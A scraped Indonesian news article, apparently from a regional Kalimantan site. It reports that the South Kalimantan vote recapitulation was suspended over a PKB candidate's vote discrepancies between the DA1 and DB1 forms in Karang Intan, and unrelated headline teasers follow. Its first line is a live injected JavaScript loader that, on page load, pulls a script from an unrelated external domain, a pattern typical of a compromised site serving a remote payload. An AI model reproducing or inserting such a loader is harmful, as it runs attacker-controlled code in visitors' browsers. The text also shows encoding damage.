(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rekapitulasi surat suara kabupaten/kota Kalimantan Selatan (Kalsel) telah dibacakan pada Jumat (5/9) dimi hari tadi. Rekapitulasi ditutup oleh rekapitulasi suara dari Kabupaten Banjar.
Namun interupsi saksi parpol dari PKB terkait terjadinya perbedaan suara tingkat kecamatan dan kabupaten terhadap salah satu calon legislatif (caleg) untuk kursi DPRD Kalsel dapil Karang Intan, menyebabkan rekapitulasi Kabupaten Banjar harus diskors. Bahkan KPU Kalsel meminta Ketua PPK Karang Intan dijemput saat itu juga untuk menjelaskan.ÂÂÂ
Penyandingan data dari formulir pun dilakukan terhadap DA1 dengan formulir DB1. Caleg nomor H Agus Mawardi yang mendapat suara 564 pada DA1, menjadi 473 suara pada DB1. Caleg nomor 3 M Ali Syahbana yang mendapat 2388 suara, menjadi 2788 suara.ÂÂÂ
Kemudian caleg nomor 4 M Juriansyah yang mendapat 100 suara, menjadi 101 suara. Caleg nomor 5 Ir Dean Rufaida yang mendapat 29 suara, menjadi 30 suara. Serta caleg nomor 6 Eko Nowsujarwo yang mendapat 820 suara, menjadi 511 suara.ÂÂÂ
Namun saat total suara dari formulir DA1 dan DB1 tetap mempunyai jumlah yang sama yaitu 4.394 suara. Hal ini diduga terjadi kesalahan pengetikan saat input data.ÂÂÂ
Saat pleno di kabupaten Banjar memang tidak ada protes dari pihak PKB dan baru dilayangkan pada saat pleno provinsi. Hal ini disampaikan oleh Wakil Ketua Bidang Organisasi Partai PKB, Suripno Sumas, bahwa pihak saksi pada saat itu melihat jumlah data yang tertera sama, yaitu 4.394 suara. “Bagi kami, karena jumlahnya sama, makanya tidak sadar. Tapi ini hasilnya berpengaruh dengan perolehan kursi,” jelasnya.ÂÂÂ
Sementara itu, Sekretaris DPW PKB Hormansyah mengakui bahwa pihaknya memaklumi KPU yang mungkin terjadi human error dalam proses pengisian data. “Walapun ini internal partai, tapi hasil ini nanti bisa merugikan caleg nomor satu,” ungkapnya.ÂÂÂ
Sementara, usai melakukan pengecekan DA1 milik KPU, Bawaslu dan saksi parpol, Koordinator Divisi Teknis KPU Kalsel Hatmiati Masy’ud mengakui terdapat perbedaan. Untuk itu, dirinya menyampaikan tak bisa berlarut-larut dengan memerintahkan KPU Kabupaten Banjar segera menjemput PPK Karang Intan dengan diskor hingga pukul 02.30 Wita.
“Kita tak bisa sampai di sini saja. Jemput PPK Kecamatan Karang Intan. Kita tunggu dua jam untuk menjelaskan duduk persoalan, mengapa terjadi perbedaan raihan suara antara kecamatan dan kabupaten,†kata Hatmiati Masyud memerintahkan para komisioner KPU Banjar untuk segera menghadirkan PPK Kecamatan Karang Intan.
KPU pun langsung pergi untuk melakulan penjemputan terhadap PKK kecamatan Karang Intan.(mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.